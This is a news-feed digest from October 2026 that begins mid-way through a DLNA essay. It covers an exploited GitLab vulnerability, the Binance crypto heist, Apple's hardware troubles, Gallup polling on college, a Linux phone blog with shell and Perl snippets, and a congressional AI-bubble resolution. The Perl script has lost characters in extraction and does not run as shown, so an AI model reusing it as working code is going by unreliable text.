And Sonos? I don't want to be too mean to Sonos, the technology is pretty cool. I just have a hard time dropping $500 on a speaker that handles the unsolved problems of 2008 but not the solved ones. These newer distributed media systems (also Yamaha Musicast, for example) are impressive but fail to provide the flexible, multi-source matrix architecture that DLNA had once put within reach.

At the end of the day, who killed DLNA? In some ways DLNA was ahead of its time, as it required better home networks than most people had and enabled a media consumption pattern that was the future, not the present. Of course it was ahead of a time that turned out not to exist, as the cloud streaming services took over. In this way, technological progress (or more cynically the twisted economics of the cloud) killed DLNA. Microsoft, and to a lesser extent Intel, killed DLNA through poor marketing, few partnerships, and repeatedly bungled products. Apple and Google killed DLNA by seeing a simpler and more commercially advantageous solution and making it widespread (and we can't blame them for this too much, as AirPlay and ChromeCast really are plainly easier to implement well than DLNA ever was).

And, you know, capitalism killed DLNA, because as an open-standards distributed system its profit-making potential was always limited. The consumer A/V industry that could have flocked to DLNA because it offered wide interoperability instead flocked to the proprietary standards because they offered money. Heavyweights Apple and Google were playing for keeps. Microsoft's unusually generous dedication to open systems ultimately left them holding the bag, and to this day Windows lacks a coherent media streaming ecosystem.

Also frankly all the DLNA products pretty much sucked but hey, I'm running on nostalgia.

[1] This approach can be used as an alternative to, or in combination with, high-voltage audio systems which we have discussed before .

[2] Due to the surprisingly analogue CD mastering process and the use of generous error correction and error tolerance in CD playback, it is surprisingly common for it to not actually be possible to create an exact copy. But the general point still stands.

[3] Miracast is kinda-sorta a subset of WiFi, being standardized by the WiFi alliance, and builds on previous HD-media-over-WiFi efforts like Intel WiDi. These were tremendously unsuccessful but are important precursors of ChromeCast and AirPlay. A lot of devices, including all Windows machines, support Miracast but it's pretty rare to see it used in practice as TV manufacturers have not been enthusiastic about it (which is to say Microsoft has not incentivized integrated Miracast in the way that Apple has incentivized integrated AirPlay).

[4] This is still basically true today, although structured wiring has made some inroads in new, especially multi-family, construction. Of course I continue to meet people who live in a home or apartment with structured ethernet and CATV who don't even realize it or don't understand how to use it. Consumer interest in plugging cables into things remains low.

[5] In fact the whole DLNA story is tied up in the CableCard story, which I'll probably write about in the future. The short version is that the whole idea of using an arbitrary tuner for a cable subscription was unpopular with cable carriers and hard to implement. Cable carriers preferred to provide their own set-top boxes and DVRs, which consumers were mostly happy with. The concept of connecting your cable, or even TV antenna, to a computer just never really went anywhere.

CISA says max severity GitLab flaw now exploited in the wild

Bleeping Computer
www.bleepingcomputer.com
2026-10-30 09:00:32
Attackers have started exploiting a maximum-severity GitLab vulnerability patched earlier this month, according to the US Cybersecurity and Infrastructure Security Agency (CISA). [...]...
Original Article

GitLab

Attackers have started exploiting a maximum-severity GitLab vulnerability patched earlier this month, according to the US Cybersecurity and Infrastructure Security Agency (CISA).

Tracked as CVE-2026-97229 , this critical security flaw was discovered by a security researcher using the ' joaxcar ' handle in the CI/CD Regular Expression Compiler, which parses, compiles, and evaluates regular expressions in pipeline configuration files.

CVE-2026-97229 stems from an integer overflow weakness and could let remote attackers run arbitrary code on targeted instances via a maliciously crafted regular expression in a CI/CD configuration, due to insufficient expression validation.

"GitLab has remediated an issue that, under certain conditions, could have allowed an unauthenticated user to execute arbitrary code on the GitLab server via a specially crafted regular expression in a CI/CD configuration, due to insufficient regular expression validation," it said .

GitLab addressed the security issue in GitLab Community Edition (CE) and Enterprise Edition (EE) versions 19.4.2, 19.3.5, and 19.2.8 and urged admins to patch their servers immediately.

The company has also released threat detections to support customers with self-managed instances after detecting exploitation attempts.

On Thursday, the US Cybersecurity and Infrastructure Security Agency (CISA) confirmed active exploitation and added CVE-2026-97229 to its Known Exploited Vulnerabilities (KEV) Catalog . CISA also ordered federal agencies to secure their servers by Sunday, as mandated by Binding Operational Directive (BOD) 26-04.

Although BOD 26-04 targets only federal agencies, the cybersecurity agency encouraged all security teams, including those in the private sector, to prioritize patching this flaw to protect their networks against ongoing attacks.

Internet threat watchdog Shadowserver tracks nearly 2,800 Internet-exposed GitLab Community Edition instances , but it doesn't say how many have already been secured against attacks.

GitLab CE instances exposed online
GitLab CE instances exposed online (Shadowserver)

​CVE-2026-97229 is the latest in a string of security issues GitLab has addressed since the start of the year. In January, it patched a high-severity two-factor authentication bypass (CVE-2026-0723) that lets attackers who know the target's account ID circumvent two-factor authentication.

Earlier this month, it also fixed a maximum-severity Regular Expression Compiler flaw (CVE-2026-110264) that could let remote attackers run arbitrary code on targeted instances.

Almost two weeks later, GitLab addressed another maximum-severity vulnerability (CVE-2026-85706) in the repository commits API that can be abused to read sensitive data, such as credentials and other secrets, from vulnerable servers.

One day later, CISA added CVE-2026-85706 to its list of actively exploited flaws after cybersecurity firm watchTowr reported that attackers had already begun scanning the Internet for unpatched GitLab servers.

CISA has tagged six GitLab vulnerabilities as exploited in the wild since November 2021, including two (tracked as CVE-2021-22175 and CVE-2021-39935) in February this year.

GitLab's DevSecOps platform is used by over 50% of Fortune 100 companies and has more than 70 million registered users worldwide.

article image

Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments.

Get the report

The $6.3B Binance Hack Was Pulled Off in Just 20 Minutes

Hacker News
www.wired.com
2026-10-30 08:50:01
Comments...
Original Article

Cryptocurrency firms and investigators are racing to freeze and track down billions of dollars of stolen digital cash following what appears to be the largest crypto heist of all time. On Thursday, starting at around 4pm ET, hackers started quickly siphoning around $6.3 billion in cryptocurrencies, spread across multiple blockchains, from wallets belonging to crypto exchange Binance .

Following the theft, Binance almost immediately suspended all deposits and withdrawals from its services as part of its investigation into the hack and says it is working to identify who was behind the breach. The company, along with other crypto firms, says it has so far been able to freeze around half of the stolen funds—essentially stopping hackers moving the money further or trying to cash it out. Much of the remaining crypto may not be possible to freeze, however.

Three crypto tracing firms have been quick to link the attack potentially to North Korean hackers. “We think North Korea is likely responsible,” Tom Robinson, chief scientist and cofounder of Elliptic, tells WIRED. “If North Korea is behind it, this one theft would almost double everything the regime has stolen in crypto to date.”

The majority of the stolen crypto was taken in a period of around 20 minutes on October 29, according to analysis by crypto tracing firm TRM Labs. Wallets belonging to Binance across at least ten blockchains—including Ethereum, Bitcoin, Tron and Solana—were drained and sent to multiple addresses controlled by a single attacker, according to TRM’s analysis . “Preparation began at least 36 hours before the theft,” TRM says in a blog post. The company says one of the attacker’s wallets received three small withdrawals during a test period, before later expanding the operations.

“Early on October 29, the operator deployed a first piece of code for the attack and tested it on two wallets,” TRM says. “Later that day, it rehearsed the final version on a third wallet, then routed the test funds back to itself. Four hours after that rehearsal, the same code was installed on a Binance hot wallet.” Hot wallets are cryptocurrency wallets that are internet connected and allow crypto exchanges to handle customer withdrawals. Analysts say the funds were drained from hot wallets across the impacted blockchains.

The tactics used in the hack appear to mimic previous methods used by an elite subset of North Korean hackers, known by the name TraderTraitor . Crypto tracing firms TRM Labs and Chainalysis both say they believe TraderTraitor may be behind the attack, while Robinson says Elliptic hasn’t specifically tied it to the group but sees overlaps in the activity.

Neither Binance nor law enforcement officials have named any suspected links between the attack and North Korean hackers. Over recent years, North Korean hackers have repeatedly targeted cryptocurrency firms and stolen hundreds of millions in crypto heists. Multiple North Korean hacking groups can target companies in the sector, but TraderTraitor have become specialists, pulling off infrequent but high profile attacks.

Within North Korea’s sprawling hacking operations —often designed to earn money for the highly sanctioned and repressive regime—TraderTraitor has stood out in recent years for its sophistication and targeting of crypto and decentralized finance companies. Last year, the FBI named TraderTraitor as being responsible for the $1.5 billion hack against crypto exchange Bybit.

Binance did not answer WIRED’s questions about whether it believes North Korean hackers are behind the colossal heist, pointing towards a statement saying it will cover all losses from the hack and is working with law enforcement officials to identify who is responsible.

“Our initial investigation suggested that the security incident may have involved a compromised laptop, however, our subsequent investigation has uncovered additional points of breach,” the company says in a statement. “This was a complex attack, and we are doing all we can in coordination with law enforcement to resolve it.”

“These folks in particular are somewhat artists in terms of getting into these distributed finance organizations,” Rafe Pilling, a senior director of threat intelligence at security company Sophos, tells WIRED. “TraderTraitor seems to focus on these larger operations. In the past, they’ve developed their own fake applications and tried to use those to get inside organizations.”

TRM and Chainalysis have initially linked the attack to TraderTraitor and say the determinations are based on their analysis of both on-chain and off-chain activity. “​​The strongest evidence emerged when Chainalysis investigators observed, in real time, funds stolen from Binance commingling with funds stolen in last month’s Bitget exploit , which had been attributed to North Korean actors,” a research blog from Chainalysis says.

“Binance says the attack began with a compromised engineer’s laptop. Targeting crypto company staff is a TraderTraitor hallmark,” Elliptic’s Robinson says. “The attacker funded their wallet through Tornado Cash and rehearsed the attack in advance, as in Bybit.”

While around $3 billion of cryptocurrency was initially frozen in the aftermath of the attack, it is likely those behind it could still potentially take away huge sums as not all of the stolen crypto can be frozen. Research from Chainalysis says the company is seeing money “laundering patterns we have not seen before” and that thousands of transactions being quickly processed indicates that they are using “automation to obscure the trail of funds.”

Elliptic’s Robinson says that around $2.8 billion, or around 44 percent of the total amount stolen, has been frozen by crypto companies and exchanges so far, with almost all of this being stablecoins. “The remaining $3.3 billion is mostly Bitcoin, Ether, and XRP, which no one can freeze,” Robinson says. “It can only be stopped when it reaches an exchange or other service. Some will be caught over the coming months, but I don’t expect the frozen share to rise much further.”

Apple Is Entering Its Slop Era

403 Media
www.404media.co
2026-10-30 08:31:04
I might finally buy an iPhone now that Apple has been taken down a peg....
Original Article

My ears perked up when I heard Apple’s new foldable phones were cracking . I licked my lips when the company announced it’s releasing a touch-screen laptop . This was a company that once charged $19 for a polishing cloth , asked $200 for a VESA mount , and sold $700 wheels for the Mac Pro. Now it’s borrowing tired ideas from its competitors and launching hardware its previous leaders rejected.

The once dominant company is struggling to find its feet in an AI-driven post-Tim Cook world. John Ternus is the new CEO — a 25 year veteran of the company with a track record of pushing harebrained hardware schemes like the much reviled Touch Bar and lawsuit inducing butterfly keyboard.

With Ternus at the helm, I feel there’s a good chance Apple’s best days are behind it, that it will have to make do with less, that it’s déclassé. Apple, blindsided by AI and relying on crowdpleasing hardware gimmicks, is downwardly mobile. It’s in its slop era. The company that once asked consumers to “Think Different” is now releasing hardware that’s just like everything else on the market.

Apple is not adjusting to this new position well. AI boosters agree that Siri AI is awful. Apple HomeView is a $300 Apple Watch meant to replace the family hearth . The iPhone Duo has only been out for a few days and all people can talk about is the cracks, yet Ternus is on the cover of Time Magazine this week holding the folding iPhone Duo and staring at the camera. “The other examples in the world felt kind of cheap and crappy,” Ternus told Time . Many people holding cracked iPhone Duos this week are learning just what (not) cheap and crappy looks like.

Flailing from crackgate, Apple announced the launch of a touch-screen laptop, an idea Steve Jobs extensively tested and said “doesn’t work ,” an idea Cook once compared to combining a toaster with a refrigerator . What’s next? What if the toaster-refigerator folded? Ternus has been trying to make an 18-inch foldable iPad happen for years . Maybe Apple will solve the screen cracking issues by then. Or maybe Ternus will continue to try to put a hat on a hat .

I have been waiting for this moment for more than a decade. I am relishing Apple’s recent trajectory more than I should. I confess I harbor a secret and petty grudge.

In 2010, when Apple released the iPhone 4 I was working as a floor manager at a Banana Republic in Dallas. I was interested in smart phones, of course, but Dallas is an expensive city and the iPhone was a luxury. I made do with my Motorola Razr . But the suit-wearing middle management retail psychopaths that were my coworkers saw my lack of an iPhone as a weakness. It was not, as they say now, On Brand.

I had started at the store in the stock room, working my way up to manage the backroom before ascending to a coveted position on the sales floor. The other managers made it clear that a Razr was a “backroom” phone and someone in a prominent position on the floor needed to be seen using an iPhone.

At first, I was not told to buy an iPhone. The message came in the form of subtle and not so subtle bullying deployed over weeks.

“Still using that old phone?” they’d say.“Didn’t you get a raise?” someone would ask a week later.

“Try not to use that thing on the sales floor,” one co-worker told me, pointing at my Razr. “We’re trying to project a certain image here.”

The social pressure had the opposite of its intended effect. I resisted. Eventually one of the friendlier managers pulled me aside. He told me that my colleagues thought it was weird that I didn't have an iPhone. He said I needed to buy one to fit in and he said the store could give me an advance on my paycheck to make it happen.

Ever the contrarian and pissed I was experiencing high school style bullying as a full grown adult, I threw in with Google instead. I got an HTC Dream . My coworkers weren’t happy, but they stopped bringing up the iPhone.

I’ve been an Android user ever since and studiously avoided Apple products until I broke down a few years ago and bought a Macbook Air. Time heals all wounds and Windows laptops are garbage. I’d even been considering changing from Android to iPhone because the privacy features are more robust. I’ve never been averse to a fast food meal either and maybe I’m a little more comfortable with Apple now that the cracks are starting to show in the foldable phone.

About the author

Matthew Gault is a writer covering weird tech, nuclear war, and video games. He’s worked for Reuters, Motherboard, and the New York Times.

Matthew Gault

Down Home North Carolina is Transforming the State, County by County

OrganizingUp
convergencemag.com
2026-10-30 08:26:41
Featured image by Jared Rodriguez Every two years national media and political pundits characterize North Carolina as purple, blue, red, or an unexplainable secret fourth thing. Cycle after cycle, the media gets it wrong because they’re missing the growing independent political power being built by ...

American views of higher ed decline, once again

Hacker News
bryanalexander.org
2026-10-30 08:20:05
Comments...
Original Article

Quick post today, as I travel across several American cities:

United States attitudes towards higher education soured yet again, according to a new Gallup poll .  The main question asked this time was “How important is a college education today — very important, fairly important or not too important?”  It’s one Gallup has asked regularly for decades.

Here are the results, measured against annual reports dating back to the late 1970s:

Gallup Importance-of-College-Education-to-Americans 2026 Oct

Look at that sheer plummet from 2013!  The “very important” answer is less than half what it was just thirteen years ago.  It went from a supermajority to not even one third of the responses. As the article observes, “As recently as 2013, more than twice as many U.S. adults (70%) said college was very important.” (Shameless note: 2013 is also the year of peak enrollment.  Another bit of evidence for peak higher ed?) And the rapid takeoff of “not too important” shot up from 6% to nearly 30%, representing a five fold increase .

At the same time the leading response – not a majority, but the greatest number – was “fairly important.”  Not exactly a ringing endorsement of the sector.

After revealing that finding, Gallup broke down responses by population groups.  Their results: “The decline in the perceived importance of college is seen across all major demographic groups.”  All:

Gallup Importance-of-College-Education-Among-U.S.-Subgroups

All . Democrats and Republicans, men and women, all ethnicities.  And not by a little bit.  Double digit declines, every one.  Gallup again: “Even groups that have historically placed greater importance on college have registered substantial declines.”  Not a single group viewed higher education as favorably as they used to.

What do you all make of these continued signs of declining American faith in the academy?  How do you see this playing out in terms of campus-community relations, government support, fundraising, politics?  And how should people in the academic world respond?

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"Ungrounding": Eyal Weizman on Gaza Genocide & Israel's "Permanent Architecture of Control"

Democracy Now!
www.democracynow.org
2026-10-30 08:18:17
We speak with Forensic Architecture’s Eyal Weizman about his new book, Ungrounding: The Architecture of Genocide, a meticulous investigation into Israel’s genocide in Gaza, the physical destruction of the territory and its impact on the Palestinian people. Forensic Architecture was found...
Original Article

Image Credit: Forensic Architecture

We speak with Forensic Architecture’s Eyal Weizman about his new book, Ungrounding: The Architecture of Genocide , a meticulous investigation into Israel’s genocide in Gaza, the physical destruction of the territory and its impact on the Palestinian people.

Forensic Architecture was founded in 2010 as an interdisciplinary research group focused on investigating state violence and human rights violations. Since 2023, Forensic Architecture has focused on producing evidence for South Africa’s genocide case against Israel at the International Court of Justice.

Weizman says “ungrounding” is “a kind of destruction that we have not seen anywhere else,” with Israeli bulldozers “terraforming” the landscape to erase all traces of Palestinian life. With thousands of bodies still unrecovered from under destroyed buildings, Israel’s flattening, extraction and reshaping of the rubble in Gaza is a continuation of its crimes, says Weizman.

“Israel is actively and against court order, against the order of the ICJ , destroying the evidence of the genocide that it has perpetrated,” he says.


Please check back later for full transcript.

The original content of this program is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 United States License . Please attribute legal copies of this work to democracynow.org. Some of the work(s) that this program incorporates, however, may be separately licensed. For further information or additional permissions, contact us.

Russell Coker: More Furilabs FLX1s

PlanetDebian
etbe.coker.com.au
2026-10-30 08:13:06
In April I got my Furilabs FLX1s basically working [1]. Below is a post I wrote about the FLX1s before it broke at the start of September, there was a problem with the display controller and it would randomly go into a messed up mode that wasn’t readable but also changed a bit in relation to button ...
Original Article

In April I got my Furilabs FLX1s basically working [1] .

Below is a post I wrote about the FLX1s before it broke at the start of September, there was a problem with the display controller and it would randomly go into a messed up mode that wasn’t readable but also changed a bit in relation to button presses etc so the phone was still working. Also I could ssh to the phone when it was in that state if it was on my home wifi.

It took almost 2 months to get a replacement phone but I now have that working and the new 14.1.0 OS release. So some of the below may be obsolete when it comes to the latest release but I decided to publish it anyway for history if nothing else.

Current Issues

Wifi Hotspot Status

One thing I had known about but not mentioned before is that the icon in the drop-down menu for the hotspot will often be gray (indicating hotspot-off) when it’s actually on. To address that I have to click on it (which then indicates that the hotspot is on) and then click on it again to turn it off.

QT6 and MESA GL

Currently I have problems with QT6 applications that don’t run due to library issues and issues of missing GL support. I blogged about setting up my own container on my phone [2] which helped for some things but not for most things.

I have given up trying to get Tokodon working on the phone for the moment. Tokodon is a nice Mastodon client that would allow me to get notifications from Mastodon.

Apparently the Furilabs people are working on some issues related to this.

Bluetooth

Bluetooth is currently a bit unreliable. When I turn on my car (Nissan LEAF) the phone usually either doesn’t connect or claims to be connected while not sending audio to the car. When it does connect my favourite music player (Lollypop) usually doesn’t display the album and track names. I’ve found that turning my car off and on again usually makes it connect properly.

I admit the possibility of my car not doing things correctly in this regard. But every Android phone I tried just worked, they would connect as soon as the car was turned on and correctly display track names. So if the car is doing things wrong and needs a software work around then Linux is at fault for not doing that – we can’t get tens of millions of cars and hundreds of millions of other weird devices fixed!

I also note that my Debian laptop and a friend’s Debian laptop also have problems connecting to my car. So it’s quite possible that Debian code is at fault (the FLX1s is running a modified version of Debian).

It currently appears to have no support for handset mode so I can’t answer phone calls through the car interface. But this is a lesser problem.

I plan to do more testing with Debian laptops and file some bug reports if I can find out enough useful information. My current knowledge of this is insufficient to create a useful bug report. I do have quite a few bluetooth headsets and test laptops so I plan to start by testing Debian and Ubuntu on all the combinations – last time I tested Ubuntu 24.04 on Dell laptops worked much better than Debian/Trixie on Thinkpads.

Improvements by Furilabs

Wifi Hotspot

After a set of updates including the following Wifi hotspot seems to be working.

adaptation-furiphone-radon (1.3.0+git20260513192743.e94f2ec.forky.production) forky; urgency=medium

  * NetworkManager: sync hotspot channel/band with STA and restart on change
  * debian: depend on libhybris-utils and libgbinder-tools
  * startup: drop schedtune and add m4u debug log level
  * startup: enable glove and disable edge palm
  * device: drop flashlightd-scalable signatures

 -- Bardia Moshiri <bardia@furilabs.com>  Wed, 13 May 2026 15:27:43 -0400

Charging

Connecting the power cable now makes the phone immediately make the click sound and it starts charging while previously there was a 22 second delay. Once I get used to this I can avoid the problem of failing to plug it in firmly before going to bed and having it run flat overnight.

Things I’ve Done

SMS

The following command will send a message via SMS.

dbus-send --system --print-reply --dest=org.ofono /ril_0 org.ofono.MessageManager.SendMessage string:"+61400000000" string:"this is the message"

Also the Librem5 Wiki has another way of doing it [3] , I haven’t tested if that works as the dbus method works well enough for the moment.

Also calls can be scripted via the following command:

xdg-open tel://+61400000000

Contacts

My aim is to get contacts synchronised via my own cloud service. Nextcloud is supposed to be able to do this. It’s been years since I first tried this, my most recent serious attempt at Nextcloud was in 2021 [4] and I couldn’t get the Android app for NextCloud to connect. Since then I have made more recent attempts and been unable to get the Android or Linux desktop clients to connect to it.

A friend gave me a test account on his Nextcloud server which allowed me to connect the Linux desktop app, his hypothesis was that it was somehow related to using Debian and that his server worked because it was on Ubuntu. I have since installed my own Nextcloud test server on the Ubuntu variant used by the Oracle cloud VMs which had the same apparent problem. I conclude that it’s not Debian at fault but something related to how I configured it.

In the meantime after a couple of months of having no named contacts I exported the contacts from my Android phone as a VCF file and imported them into the Gnome contacts program. I had to run “ killall chatty ” for it to get the names for the contacts, but the phone call program found them without needing to do that.

Chatty

A missing feature of Chatty (the default SMS and Jabber program for Phosh/Phoc systems) is archiving old messages. I use Chatty to receive Jabber messages from my monitoring system which can be a lot of messages. The following shell code deletes all Jabber messages older than 2 days. Note that this relies on “ type=3 ” matching Jabber messages which I’m not sure is going to be the case on all systems or all versions of Chatty.

for ID in $(echo "select id from users where type=3;" | sqlite3 ~/.purple/chatty/db/chatty-history.db); do
  echo "delete from messages where sender_id=$ID and time < unixepoch('now') - (48 * 3600);" | sqlite3 ~/.purple/chatty/db/chatty-history.db
done

The following shell code extracts a dump of all messages from Chatty.

echo "select messages.id,users.username,users.alias,messages.body from messages inner join users on messages.sender_id=users.id;" |sqlite3 ~/.purple/chatty/db/chatty-history.db

Dino-IM

An update to the Chatty program for SMS and Matrix has made it crash repeatedly. There is a request in the list for Chatty upstream to have a systemd-user unit to restart it which when implemented will reduce the scope of the problem (but not solve it). I've setup a monitoring system that uses notify-send to notify me when Chatty isn't running or when 4G data turns off (a recurring problem). This crashing is allegedly due to Jabber so I installed Dino-IM for Jabber and have for the moment at least stopped using Chatty for Jabber.

It turned out that having Chatty not do Jabber didn't stop it crashing. However having alerts separated from SMS can be convenient and also my long term plan is to use a phone with Plasma Mobile and Spacebar (the SMS program for Plasma Mobile) doesn't do Jabber. So I will continue using Dino-IM.

echo "delete from message where time < unixepoch('now') - (48 * 3600);" | sqlite3 ~/.local/share/dino/dino.db

Andromeda/Android

I put in the following cron job to stop this log file from using all the storage space:

1 0 * * *	echo -n > /home/furios/.local/share/andromeda/data/system/uiderrors.txt

Wifi DHCP

I gave up on attempts to force the Wifi configuration to have a fixed MAC that I could use for a fixed IPv4 address so I manually configured the address.

4G Monitoring

I've had problems with the reliability of the 4G service, sometimes it stop working and I need to stop and restart it. I setup my etbe-mon monitoring system on the phone [5] and configured it to ssh to localhost and run notify-send to send a local notification. This means I get notified if my phone loses net access and can't access regular monitoring. Then to monitor the 4G connection (which I want to have working even when Wifi is connected) I had the following monitor line:

monitor ping.monitor -I ccmni1 -c 5 8.8.8.8 ;;

That uses the ccmni1 interface for pinging 8.8.8.8 (Google DNS). That worked for a while but I discovered that sometimes the interface for 4G would change to ccmni2 , so I put the following monitor script under /usr/local/mon.d:

#!/bin/bash
DEV=$(route -n|grep ^0.0.0.0.*ccm |sed -e s/^.*ccmn/ccmn/)
exec /usr/lib/mon/mon.d/ping.monitor -I $DEV -c 5 8.8.8.8

Mastodon

I couldn't get Tokodon to work, not the native package, not running in a Debian/Testing container, and not running a Flatpak. It seems that this is all graphics library issues. So I wrote a Perl program to run "toot notifications &-json" and then send the relevant parts of the output via XMPP. As I already use XMPP for server monitoring there's no extra effort to have an extra account and use it for notifications about Mastodon activity. The Perl script is at the bottom of the post and won't be in the RSS feed.

At some future time I may change the script to send the notifications by Matrix instead to have all my social media stuff in the same place.

Source

#!/usr/bin/perl
# depends on Debian packages: toot libjson-pp-perl go-sendxmpp
use strict;
use JSON::PP;

my $homeurl = "https://mastodon.nzoss.nz/";
my $lastfile = "mast/last_id";
my $xaddr = "russell\@coker.com.au";

my $jsontxt;
while()
{
  $jsontxt .= $_;
}

my $data = decode_json($jsontxt);

my $last_id = 0, my $new_last_id;
if(open(ID, "<$lastfile"))
{
  $last_id = ;
  close(ID);
}
$new_last_id = $last_id;

for(my $i = 0; $data->[$i]; $i++)
{
  my $id = $data->[$i]{id};
  if($id <= $last_id)
  {
    next;
  }
  if($id > $new_last_id)
  {
    $new_last_id = $id;
  }
  open(XMPP, "|go-sendxmpp $xaddr") or die "Can't send XMPP";
  my $type = $data->[$i]{type};
  print XMPP "type: $type\n";
  print XMPP "their_url: $homeurl\@$data->[$i]{account}{acct}\n";
  print XMPP "display_name: $data->[$i]{account}{display_name}\n";
  if($type ne "follow")
  {
    print XMPP "status_url: $data->[$i]{status}{url}\n";
    print XMPP "content: $data->[$i]{status}{content}\n";
  }
  print XMPP "created_at: $data->[$i]{created_at}\n";
  print XMPP "\n";
  close(XMPP);
}

open(ID, ">$lastfile") or die "Can't write to $lastfile";
print ID $new_last_id;
close(ID);

US Reps Lead Democratic Resolution Opposing A.I. Bubble Bailout for Big Tech

Hacker News
progressives.house.gov
2026-10-30 08:08:00
Comments...
Original Article

Washington, D.C. — Today, Congressional Progressive Caucus (CPC) Chair Rep. Greg Casar (TX-35) and House Financial Services Committee Ranking Member Rep. Maxine Waters (CA-43) co-led the introduction of a resolution warning of the economic risks posed by an artificial-intelligence-related asset bubble, opposing a bailout of corporations or their business executives impacted by the collapse of an A.I. bubble, and affirming their support for aggressive federal action to protect workers, retirees, and low-income communities who will be harmed by an economic downturn.

They were joined by Representatives Danny Davis (IL-07), Chris Deluzio (PA-17), Valerie P. Foushee (NC-04), Jesús “Chuy” García (IL-04), Pramila Jayapal (WA-07), Analilia Mejia (NJ-11), Delia Ramirez (IL-03), André Carson (IN-07), Jan Schakowsky (IL-09), Brad Sherman (CA-32), and Rashida Tlaib (MI-12).

“Big Tech billionaires are making increasingly reckless bets on A.I. They got richer off Trump’s deregulation and Republican tax breaks. Now they expect taxpayers to bail them out if those bets go bad. We won’t let them," said CPC Chair Casar. "A.I. companies that fail should go bankrupt, and executives who commit fraud should be held accountable. Federal help should go to workers and retirees.”

“Big tech and Wall Street are taking enormous risks with billions in borrowed money to fuel the AI boom, despite growing warning signs of a dangerous bubble and if it all comes crashing down they should not expect taxpayers to rescue them,” said Ranking Member Waters. “We saw what happened in 2008 when reckless Wall Street practices brought our economy to its knees. The banks got bailed out while millions of hardworking Americans lost their jobs, homes, and retirement savings. We cannot let history repeat itself. The American people should never again be forced to foot the bill for billionaires’ reckless bets.”

In the resolution, the Democratic lawmakers note that “artificial intelligence-related firms hold trillions of dollars in debt, much of which is raised in opaque and unregulated private credit markets,” and “the price-to-earnings ratio of the stock market is currently almost as high as it was at the peak of the 1990s tech bubble.”

The Democratic legislators also point out that “federal regulators have avoided applying robust scrutiny and oversight regarding enormously complicated debt and equity schemes used by artificial intelligence firms” and highlight the Trump White House’s deregulatory focus and conflicts of interest related to A.I.

The resolution’s cosponsors commit to avoiding a federal response similar to what occurred during the financial crisis of 2008, where the financial sector received trillions of dollars in liquidity without accountability for senior executives involved in illegal and fraudulent behaviors. Meanwhile, 10 million homeowners lost their houses and tens of millions of workers went years without adequate employment while too-big-to-fail banks enjoyed a massive bailout.

The resolution urges the Federal Government, including Congress and key Federal agencies to oppose:

  • Any measure to rescue insolvent artificial intelligence-related firms or to shield their senior executives from accountability for reckless conduct;

  • Special assistance like emergency lending or direct capital infusions to prop up insolvent A.I. companies’ operations or prevent their orderly resolutions through ordinary bankruptcy processes;

  • “Golden parachutes” for corporate executives involved in risky or illegal behaviors that lead to their firms’ insolvency, instead requiring them to be held fully accountable under civil and criminal law and be obligated to return ill-gotten gains like mansions, vacation homes, private planes and yachts, and other assets.

The resolution also calls on the Federal Government to support:

  • Aggressive, direct federal action to support ordinary Americans through federal spending to create jobs, protect state and local government services, and robust unemployment insurance, nutrition support, and housing assistance;

  • The protection of pension and retirement fund holders who may face devastating losses in the event of a collapse of an A.I. bubble;

  • Far-reaching reforms to prevent future speculative bubbles, including additional transparency and accountability requirements;

  • Automatic economic stabilizers—investments in people that start to flow immediately in the event of an economic downturn—that support workers and consumers when financial crises, asset bubbles and other harms create downturns and recessions.

The resolution was endorsed by American Federation of Teachers, American Economic Liberties Project, Americans for Financial Reform, the Center for Responsible Lending, Demand Progress Action, Future of Life Institute, Guardrails Action, Indivisible, Interfaith Centre on Corporate Responsibility, Investor Alliance for Human Rights, Jobs With Justice, P Street, and Social Security Works.

“Americans are already paying for the AI build-out through higher power bills and a stock market propped up by a handful of companies,” said Morgan Harper, Director of Policy & Advocacy for American Economic Liberties Project. They should not pay a second time with a bailout. When Wall Street’s bets went bad during the financial crisis, the banks got rescued and ordinary people got foreclosure notices. Congressional members are right to reject AI bailouts in advance, and commit to saving real help for those who will be left holding the bag—the American people.”

“Tech billionaires and their Wall Street backers are using dangerous tactics reminiscent of the 2008 financial crisis to make trillion dollar bets on AI—and they are putting working people’s money at risk,” said Maya Jenkins , a senior policy analyst at Americans for Financial Reform . “This resolution charts a critically important path for defending people’s economic security from the bubble’s blast radius, opposing billionaire bailouts, and holding corporate executives to account. This is the kind of approach needed to confront mounting financial risks and emerge from the aftermath of the AI bubble with an economy that is fairer and more stable.”

“When the housing market collapsed in 2008, the financial industry was prepared to act to ensure that there was a bailout that benefited them,” said Dean Baker, senior economist at the Center for Economic and Policy Research. “It is important that the Congressional Progressive Caucus is stepping forward to make sure that any bailout from the collapse of the AI bubble is designed to benefit the country as whole, rather than the billionaire AI boys who created the problem in the first place.”

“Chair Casar, Ranking Member Waters, and the Progressive Caucus should be praised for this resolution and recognized as being at the tip of the spear in ensuring that AI policy focuses on working-class impacts and isn’t simply left to the desires of the handful of billionaires and their courtesans in Congress, said Maya Handa, Senior Advisor, Guardrails Action. “The AI industry is trying to buy our elections and write their own regulations while its biggest players line up IPOs at record valuations. If this turns into a bubble, working-class Americans must not be forced to pay the tab for big tech CEOs’ recklessness and greed. Simply put: there can be no bailout for big AI execs or their financial enablers.”

“AI companies and their billionaire executives shouldn’t get to gamble with our economy and democracy, then expect working people to bail them out when their bets on AI go bust,” said Andrew O’Neill, National Advocacy Director of Indivisible. “We learned in 2008 what happens when the government puts impunity for corporate corruption ahead of working families. This resolution draws a clear line: will lawmakers protect AI tech bros or the people they’re supposed to represent?”

Read the resolution here .

###

The Congressional Progressive Caucus (CPC) is made up of nearly 100 members standing up for progressive ideals in Washington and throughout the country. Since 1991, the CPC has advocated for progressive policies that prioritize working Americans over corporate interests. The CPC champions policies including comprehensive immigration reform, good-paying jobs, fair trade, universal health care, debt-free college, climate action, and a just foreign policy. The caucus is the leading voice calling for bold and sweeping solutions to the urgent crises facing this nation, including ending America’s broken for-profit health care system, raising American wages, eliminating political corruption, supporting the labor movement, and taking action to protect the planet for generations to come.

Headlines for October 30, 2026

Democracy Now!
www.democracynow.org
2026-10-30 08:00:00
DOJ Opens Criminal Probe of California Mail-In Ballots Despite Judge’s Order, Corporations Spend $737M on Midterm Elections as Super-Rich Give $4.2B to Super PACs, Trump Returns to South Carolina to Rally GOP Support as Pollsters Declare Senate Race a Toss-Up, DOJ Ramps Up Criminal Probe of Al...
Original Article

Headlines October 30, 2026

